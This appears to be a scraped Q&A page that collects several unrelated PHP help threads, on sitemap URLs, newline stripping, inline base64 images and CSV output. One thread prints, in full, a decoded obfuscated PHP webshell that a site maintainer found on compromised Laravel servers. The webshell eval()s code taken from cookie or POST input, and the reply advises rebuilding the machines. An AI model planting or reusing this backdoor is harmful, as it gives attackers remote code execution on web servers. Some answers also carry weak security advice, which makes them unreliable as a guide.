while trying to generate dynamic sitemaps, I tried adding two variables in url path, and the line is giving me error
this is my sample line:
echo "<loc>" . $base_url . "category.php?category=" . $subFeaturedPostCatSlug . "&job=" . "$subFeaturedPostSlug" . "</loc>" . PHP_EOL;PHP_EOL;
I tried doing it like this also:
echo "<loc>{$base_url}category.php?category={$subFeaturedPostCatSlug}&job={$subFeaturedPostSlug}</loc>" . PHP_EOL;
error screenshot attached;
Any help will be appreciated, thanks in advance
Try this -
$str = $base_url . "category.php?category=" . $subFeaturedPostCatSlug . "&job=" . $subFeaturedPostSlug . "" . PHP_EOL;
echo htmlspecialchars_decode($str);
You should be able to fix this using the urlencode() function as mentioned in your comments.
So,
echo "<loc>" . $base_url . "category.php?category=" . $subFeaturedPostCatSlug . "&job=" . "$subFeaturedPostSlug" . "</loc>" . PHP_EOL;PHP_EOL;
becomes
echo "<loc>" . urlencode($base_url) . "category.php?category=" . urlencode($subFeaturedPostCatSlug) . "&job=" . urlencode($subFeaturedPostSlug) . "</loc>" . PHP_EOL.PHP_EOL;
More details at PHP Documentation for urlencode()
Also, I found out that there is error in your code:
echo "<loc>" . $base_url . "category.php?category=" . $subFeaturedPostCatSlug . "&job=" . "$subFeaturedPostSlug" . "</loc>" . PHP_EOL;PHP_EOL;
Towards the end of the echo, you have written:
...PHP_EOL;PHP_EOL;
which should ideally have been
...PHP_EOL.PHP_EOL;
Related
I have following string (using $_POST), how to remove all the new line, spaces and make it as a absolute single line?
Physical Address. . . . . . . . . : E8-6A-64-DE-48-60
Physical Address. . . . . . . . . : 04-EA-56-08-E6-8F
Physical Address. . . . . . . . . : 06-EA-56-08-E6-8E
Physical Address. . . . . . . . . : 04-EA-56-08-E6-8E
Physical Address. . . . . . . . . : 04-EA-56-08-E6-92
Not always stable?
$request= mysql_real_escape_string(trim($_POST['request']));
$request_sql =str_replace("\r\n",'', $request);
$request_sql = str_replace("\\r\\n",'', $request_sql);
echo $request_sql;
trim only strips spaces at end and start of the string and you should strip \r and \n individually.
try this:
$request= mysql_real_escape_string($_POST['request']);
$request_sql =str_replace("\n",'', $request);
$request_sql = str_replace("\r",'', $request_sql);
$request_sql = str_replace(" ",'', $request_sql);
echo $request_sql;
Try using regex.
$request = $_POST['request'];
//Remove all characters that are not A-Z, a-z, 0-9 or '.', ':' or '-'
$request_sql = preg_replace("/[^A-Za-z0-9.:-]/", '', $request );
try:
$str = 'Physical Address. . . . . . . . . : E8-6A-64-DE-48-60
Physical Address. . . . . . . . . : 04-EA-56-08-E6-8F
Physical Address. . . . . . . . . : 06-EA-56-08-E6-8E
Physical Address. . . . . . . . . : 04-EA-56-08-E6-8E
Physical Address. . . . . . . . . : 04-EA-56-08-E6-92';
echo str_replace(" \n", '', $str);
Output:
Physical Address. . . . . . . . . : E8-6A-64-DE-48-60Physical Address. . . . . . . . . : 04-EA-56-08-E6-8FPhysical Address. . . . . . . . . : 06-EA-56-08-E6-8EPhysical Address. . . . . . . . . : 04-EA-56-08-E6-8EPhysical Address. . . . . . . . . : 04-EA-56-08-E6-92
After replacing the \n you can use mysql escape string to avoid sql injection.
The problem with your code is that mysql_real_escape_string will not only escape ' and " but it will escape other characters like \n and \r which you want to remove.
It will replace new line characters with a backslash character followed by l characters
so removing newlines, carriage return after they have been escaped will result in a string with extra backslashes \ and n and r characters.
Check out this
<?php
$originalString =
"Line1
Line2
";
// CASE 1 WRONG RESULT
$string1 = mysqli_real_escape_string($con, $originalString);
$string1 = str_replace("\n", '', $string1);
echo "escape then replace result \n";
echo $string1 . "\n";
//CASE 2 EXPECTED RESULT
$string2 = str_replace("\n", '', $originalString);
$string2 = mysqli_real_escape_string($con, $string2);
echo "replace then escape result \n";
echo $string2 . "\n";
this will output
escape then replace result
Line1\nLine2\n
replace then escape result
Line1Line2
So to correct your code
$request_sql =str_replace(["\n", "\r", " "],'', $_POST['request']);
$request= mysql_real_escape_string($request_sql);
echo $request_sql;
Please don't use mysql_real_escape_string , instead use prepared statements, here an answer for how to switch to them, they will make your life much more easier and safer.
For a customer I am maintaining a small group of websites built in PHP Laravel. Lately while working on these I have discovered a couple of new suspicious looking files, which suddenly appeared on two of the websites FTP servers. The files are not originally a part of the codebase, and I have no idea where they're coming from all of a sudden. There are three files in total, named b3lo5x3x.php, cache.php and plugin.php and they are located in the root directory of the websites.
The content of the files looks pretty disturbing. When decoded on unphp.net I get the following result, which is the exact same for all three files. The size of all three files are also the same.
<?php
$hguenpg = '8v7n\'kadeH62ycg_ti9pm1-fsb0#rxlu4*o';
$fvgiv = Array();
$fvgiv[] = $hguenpg[18] . $hguenpg[11] . $hguenpg[0] . $hguenpg[0] . $hguenpg[26] . $hguenpg[11] . $hguenpg[21] . $hguenpg[0] . $hguenpg[22] . $hguenpg[10] . $hguenpg[7] . $hguenpg[13] . $hguenpg[11] . $hguenpg[22] . $hguenpg[32] . $hguenpg[6] . $hguenpg[23] . $hguenpg[8] . $hguenpg[22] . $hguenpg[0] . $hguenpg[32] . $hguenpg[6] . $hguenpg[25] . $hguenpg[22] . $hguenpg[13] . $hguenpg[32] . $hguenpg[7] . $hguenpg[21] . $hguenpg[18] . $hguenpg[11] . $hguenpg[25] . $hguenpg[2] . $hguenpg[7] . $hguenpg[0] . $hguenpg[23] . $hguenpg[2];
$fvgiv[] = $hguenpg[9] . $hguenpg[33];
$fvgiv[] = $hguenpg[27];
$fvgiv[] = $hguenpg[13] . $hguenpg[34] . $hguenpg[31] . $hguenpg[3] . $hguenpg[16];
$fvgiv[] = $hguenpg[24] . $hguenpg[16] . $hguenpg[28] . $hguenpg[15] . $hguenpg[28] . $hguenpg[8] . $hguenpg[19] . $hguenpg[8] . $hguenpg[6] . $hguenpg[16];
$fvgiv[] = $hguenpg[8] . $hguenpg[29] . $hguenpg[19] . $hguenpg[30] . $hguenpg[34] . $hguenpg[7] . $hguenpg[8];
$fvgiv[] = $hguenpg[24] . $hguenpg[31] . $hguenpg[25] . $hguenpg[24] . $hguenpg[16] . $hguenpg[28];
$fvgiv[] = $hguenpg[6] . $hguenpg[28] . $hguenpg[28] . $hguenpg[6] . $hguenpg[12] . $hguenpg[15] . $hguenpg[20] . $hguenpg[8] . $hguenpg[28] . $hguenpg[14] . $hguenpg[8];
$fvgiv[] = $hguenpg[24] . $hguenpg[16] . $hguenpg[28] . $hguenpg[30] . $hguenpg[8] . $hguenpg[3];
$fvgiv[] = $hguenpg[19] . $hguenpg[6] . $hguenpg[13] . $hguenpg[5];
foreach ($fvgiv[7]($_COOKIE, $_POST) as $lfpfzw => $wqudv) {
function dgubnv($fvgiv, $lfpfzw, $nclll) {
return $fvgiv[6]($fvgiv[4]($lfpfzw . $fvgiv[0], ($nclll / $fvgiv[8]($lfpfzw)) + 1), 0, $nclll);
}
function oocfo($fvgiv, $elasr) {
return #$fvgiv[9]($fvgiv[1], $elasr);
}
function yiugt($fvgiv, $elasr) {
$vezpr = $fvgiv[3]($elasr) % 3;
if (!$vezpr) {
eval($elasr[1]($elasr[2]));
exit();
}
}
$wqudv = oocfo($fvgiv, $wqudv);
yiugt($fvgiv, $fvgiv[5]($fvgiv[2], $wqudv ^ dgubnv($fvgiv, $lfpfzw, $fvgiv[8]($wqudv))));
} ?>
Does anyone know what this can be? Can it be that the FTP servers are infected with some kind of malware or hacking tools?
Wipe the machines affected completely. You need to reinstall the Laravel project(s) to a new clean machine. You also should audit them and any other software used if possible.
Make sure that all of the software on the server is updated too. Most likely you were compromised through a non updated software with a known vulnerability.
Everytime I run this part of my script, stript stop working.
$url = $this->getUrl . '?id=' . $this->apiKey . '&email=' . urlencode($this->email) . '&produkt[]=' . urlencode($this->product) . '&orderid=' . $this->order_id;
foreach ($this->products as $product) {
$url .= '&produkt[]=' . urlencode($product);
}
When I change $url = $this->getUr ... ... to $url = http://blablabla.com/blabla... ... all is working fine.
Where is a bug?
yeah, set put "php_flag display_errors on" into .htaccess file in that folder and you'll see where is the problem.
From
$url = $this->getUrl . '?id=' . $this->apiKey . '&email=' . urlencode($this->email) . '&produkt[]=' . urlencode($this->product) . '&orderid=' . $this->order_id;
foreach ($this->products as $product) {
$url .= '&produkt[]=' . urlencode($product);
}
to
$url = $getUrl . '?id=' . $apiKey . '&email=' . urlencode($this->email) . '&produkt[]=' . urlencode($product) . '&orderid=' . $order_id;
$this-> is not defined in my script, so after deleting it, script works fine. But everybody must define $product before url is creating. It works in my script!
Attempting to print out an image to the browser using code I copied from http://php.net/manual/en/function.imagecopyresampled.php.
It prints out a box of random characters.
CODE:
public function printSummaryArticle($article, $copy, $thumb) {
$src_image = Config::getAbsPath() . '/images/articles/' . $article['image'];
echo
'<div class="summary_article"><a href="/'
. BreadCrumbs::getCrumb(1)
. '/'
. BreadCrumbs::getCrumb(2)
. '/article/'
. $article['id']
. '"><h4>'
. $article['title']
. '</h4></a> ('
. $article['date']
. ')'
. '<img src="data:image/jpeg;base64,'. imagejpeg($thumb->generateThumb($src_image, 300, 200)) . '"'
. '<p>'
. strip_tags($copy->truncateString($article['body'], 250, " "))
. '</p><p><a href="/' . BreadCrumbs::getCrumb(1)
. '/'
. BreadCrumbs::getCrumb(2)
. '/article/'
. $article['id']
. '"> Read more</a></p></div>';
}
Also tried:
public function printSummaryArticle($article, $copy, $thumb) {
$src_image = Config::getAbsPath() . '/images/articles/' . $article['image'];
echo
'<div class="summary_article"><a href="/'
. BreadCrumbs::getCrumb(1)
. '/'
. BreadCrumbs::getCrumb(2)
. '/article/'
. $article['id']
. '"><h4>'
. $article['title']
. '</h4></a> ('
. $article['date']
. ')';
header('Content-type: image/jpeg');
imagejpeg($thumb->generateThumb($src_image, 300, 200));
echo
'<p>'
. strip_tags($copy->truncateString($article['body'], 250, " "))
. '</p><p><a href="/' . BreadCrumbs::getCrumb(1)
. '/'
. BreadCrumbs::getCrumb(2)
. '/article/'
. $article['id']
. '"> Read more</a></p></div>';
}
Same result. except with an added error claiming headers have already been sent.
How can I fix this?
imagejpeg() neither returns a string nor performs Base64 encoding. To work around this, capture its output in a PHP output buffer, and then Base64 encode the captured output:
ob_start();
imagejpeg( $my_img );
echo '<img src="data:image/jpeg;base64,' . base64_encode(ob_get_clean()) . '">';
Note that data: URLs are limited to 32 KB in Internet Explorer 8 and do not work in earlier versions of IE (source). If you need to support IE 8 and below, you may want to instead save the image as a separate file on the server. This is left as an exercise for the reader :)
(For an explanation of the "Headers already sent" warning, see How to fix "Headers already sent" error in PHP.)
You haven't closed the image tag, but more importantly you haven't base64_encoded the image data
Before you echo that string
ob_start();
imagejpeg($thumb->generateThumb($src_image, 300, 200));
$imagejpg=ob_get_clean();
then this
. '<img src="data:image/jpeg;base64,'
. base64_encode($imagejpg)
. '" />'
You can't do what you're trying to do in the 2nd example
EDIT: Fixed, I had to remove all spaces I had (before the commas in the code below) and use trim
I'm trying to generate a CSV file using PHP. However the file splits into lines on its own. It looks fine in View Source, but excel/notepad show lines randomly broken up.
Here is my code :
// Echo Code Here
$string = '"REF1" , "FIRSTCLASS" ,"P" ,"1" ,"' . $orderref . '" ,"' . $fullname . '" ,"' . $add1 . '" ,"' . $add2 . '" ,"" ,"' . $postcode . '" ,"' . $city . '" ,"' . $country . '" ,"' . $fullname . '" ,"' . $telephone . '" ,"' . $email . '" ,"1" ,"1.0 kg"' . "\n";
echo $string;
Any help would be great, this is my first time working with CSV in PHP.
Since you're using Windows, you should use Windows-style line endings: \r\n instead of just \n.
There is PHP function forwriting CSV into file:
PHP "fputcsv" function
http://us2.php.net/manual/en/function.fputcsv.php